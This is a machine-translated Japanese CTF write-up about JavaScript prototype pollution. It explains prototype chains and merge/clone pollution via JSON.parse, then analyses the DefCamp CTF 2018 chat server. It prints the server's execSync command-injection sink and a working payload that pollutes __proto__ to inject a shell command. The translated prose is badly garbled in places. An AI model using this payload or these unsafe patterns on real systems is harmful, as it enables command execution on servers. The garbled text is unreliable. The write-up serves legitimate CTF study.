JavaScriptのプロトタイプ汚染攻撃(CTF例の分析)

自分の理解についての0x01の話

function a(){}   
var b=new a()
var c = {}

a.__proto__.__proto__ == b.__proto__.__proto__ == c.__proto__
a.__proto__ != b.__proto__ != c

  • この時間は、B __proto__点でありますa.prototype
  • a.prototype__proto__ポイントは、Object.prototype
  • B constructor点もありますfunction a(){}
  • そして、それはだ__proto__というポイントFunction.prototypeFunction.prototype. constructorを指しFunction(){}
  • 上記Function(){}にも__proto__ポイントにFunction.prototype
  • Function.prototypeコンストラクタも指摘しますFunction(){}
  • Function.prototype__proto__同時点Object.prototype
  • Object.prototypeコンストラクタがあります Object
  • オブジェクト;中__proto__にターンポイントFunction.prototype
  • Object.prototypetは__proto__ですnull
  • 追加でa.constructorのポイントFunction
function Father() {
    this.first_name = 'Donald'
    this.last_name = 'Trump'
}

function Son() {
    this.first_name = 'Melania'
}

let son1 = new Son()
son1.__proto__                //object{...}
Son.prototype = new Father()
let son2 = new Son()
son.__proto__ 			  	//Object { first_name: "Donald", last_name: "Trump" }

全体的prototypeに他のオブジェクト指向言語の親クラスを継承する同等の
ここに画像を挿入説明


ここに画像を挿入説明

ここに画像を挿入説明
画像参照アドレス

何0x02のプロトタイプチェーン汚染

// foo是一个简单的JavaScript对象
let foo = {bar: 1}

// foo.bar 此时为1
console.log(foo.bar)            			    // 1

// 修改foo的原型(即Object)
foo.__proto__.bar = 2

// 由于查找顺序的原因,foo.bar仍然是1,先查找本身的属性,若没有再层层递进
console.log(foo.bar)		  				    //1

// 此时再用Object创建一个空的zoo对象
let zoo = {}					

// 查看zoo.bar
console.log(zoo.bar)							//2

プロトタイプチェーンが汚染される場合0×03?

1.对象`merge`
2.对象`clone`(其实内核就是将待操作的对象merge到一个空对象中)

オブジェクトはmerge、例えば、我々は、単純な想像mergeの機能を:

function merge(target, source) {
    for (let key in source) {
        if (key in source && key in target) {
            merge(target[key], source[key])
        } else {
            target[key] = source[key]
        }
    }
}

私たちは、このコードを試してみてください

let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)					// 1,2

o3 = {}
console.log(o3.b)                     //undefined
その結果、合併の成功が、プロトタイプチェーンが汚染されていません。

これは、我々が使用しているのでれるJavaScriptO2を作成するプロセスlet o2 = {a: 1, "__proto__": {b: 2}}では、__proto__あなたがそれを取得し、この時O2すべてのキーの名前を通じて、O2のプロトタイプを表現している[a, b]__proto__いないkey、自然に、変更されませんObjectプロトタイプを。
ここに画像を挿入説明
だから、どのように__proto__それがキー名も考えられていますか?
私たちは、このようなコードを変更します:

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)                // 1,2

o3 = {}
console.log(o3.b)						//2

、これはあるJSON解決の場合には、__ proto__がそのようにキーが存在することになるときO2トラバース、本当の「キー」とみなされ、「プロトタイプ」を表すものではありません。
マージ操作は、キー名を制御することができる最も一般的な操作であり、ほとんどはプロトタイプチェーン攻撃することができ、多くの一般的なライブラリは、この問題を抱えています。

0x04の分析例

私たちは、例えば、DefCamp CTF 2018上の話題に持っている
一般的に見て、Node.jsのコードのチャットルーム

const io = require('socket.io-client')
const socket = io.connect('https://chat.dctfq18.def.camp')

if(process.argv.length != 4) {
  console.log('name and channel missing')
   process.exit()
}
console.log('Logging as ' + process.argv[2] + ' on ' + process.argv[3])
var inputUser = {
  name: process.argv[2],
};

socket.on('message', function(msg) {
  console.log(msg.from,"[", msg.channel!==undefined?msg.channel:'Default',"]", "says:\n", msg.message);
});

socket.on('error', function (err) {
  console.log('received socket error:')
  console.log(err)
})

socket.emit('register', JSON.stringify(inputUser));
socket.emit('message', JSON.stringify({ msg: "hello" }));
socket.emit('join', process.argv[3]);//ps: you should keep your channels private
socket.emit('message', JSON.stringify({ channel: process.argv[3], msg: "hello channel" }));
socket.emit('message', JSON.stringify({ channel: "test", msg: "i own you" }));

クライアントコードは、私たちがserver.jsコードをフォローアップしていき、比較的簡単です

getAscii: function(message) {
    var e = require('child_process');
    return e.execSync("cowsay '" + message + "'").toString();
}

非常に明確なコマンドが実行される脆弱性が見つかり、私たちは、この関数が呼び出された場所を確認していき

client.on('join', function(channel) {
    try {
        clientManager.joinChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You joined channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);

        sendMessageToChannel(channel,"Server", 
            helper.getAscii("User " + u + " living in " + c + " joined channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

client.on('leave', function(channel) {
    try {
        client .join(channel);
        clientManager.leaveChannel(client, channel);
        sendMessageToClient(client,"Server", 
            "You left channel", channel)

        var u = clientManager.getUsername(client);
        var c = clientManager.getCountry(client);
        sendMessageToChannel(channel, "Server", 
            helper.getAscii("User " + u + " living in " + c + " left channel"))
    } catch(e) { console.log(e); client.disconnect() }
});

だから次の質問は、変数を制御する方法になっuたりc、ユーザーが入力したusernamecountry、しかし、問題はそう単純ではないのですか?もちろん、サーバーは、非常に厳格なユーザー入力の検証を行いますありません。

validUser: function(inp) {
    var block = ["source","port","font","country",
                    "location","status","lastname"];
    if(typeof inp !== 'object') {
        return false;
    } 

    var keys = Object.keys(inp);
    for(var i = 0; i< keys.length; i++) {
        key = keys[i];

        if(block.indexOf(key) !== -1) {
            return false;
        }
    }

    var r =/^[a-z0-9]+$/gi;
    if(inp.name === undefined || !r.test(inp.name)) {
        return false;
    }

    return true;
}

我々はできるCTRL+F、我々が何もないことができるように見つけるPrototype污染攻击場所を一般的な上記の二つの機能と、(merge,和clone)攻撃の環境を形成することができます。

function clone(obj) {
    if (typeof obj !== 'object' || obj === null) {
        return obj;
    }

    var newObj;
    var cloneDeep = false;

    if (!Array.isArray(obj)) {
        if (Buffer.isBuffer(obj)) {
            newObj = new Buffer(obj);
        } else if (obj instanceof Date) {
            newObj = new Date(obj.getTime());
        } else if (obj instanceof RegExp) {
            newObj = new RegExp(obj);
        } else {
            var proto = Object.getPrototypeOf(obj);
            if (proto && proto.isImmutable) {
                newObj = obj;
            } else {
                newObj = Object.create(proto);
                cloneDeep = true;
            }
        }
    } else {
        newObj = [];
        cloneDeep = true;
    }

    if (cloneDeep) {
        var keys = Object.getOwnPropertyNames(obj);
        for (var i = 0; i < keys.length; ++i) {
            var key = keys[i];
            var descriptor = Object.getOwnPropertyDescriptor(obj, key);
            if (descriptor && (descriptor.get || descriptor.set)) {
                Object.defineProperty(newObj, key, descriptor);
            } else {
                newObj[key] = clone(obj[key]);
            }
        }
    }
    return newObj;
}

ここでは、明らかにclone私たちが構築して利用できる、payload:node client.js {"__proto__":{name:213'&&dir&&'5}} 555第二のパラメータは、チャットルームの名前入力し
ここに画像を挿入説明
、dirコマンドを使用するので、私は窓に再現しています。
ここに画像を挿入説明
繁殖成功!

公開された47元の記事 ウォンの賞賛2 ビュー3142

おすすめ

転載: blog.csdn.net/a3320315/article/details/102883325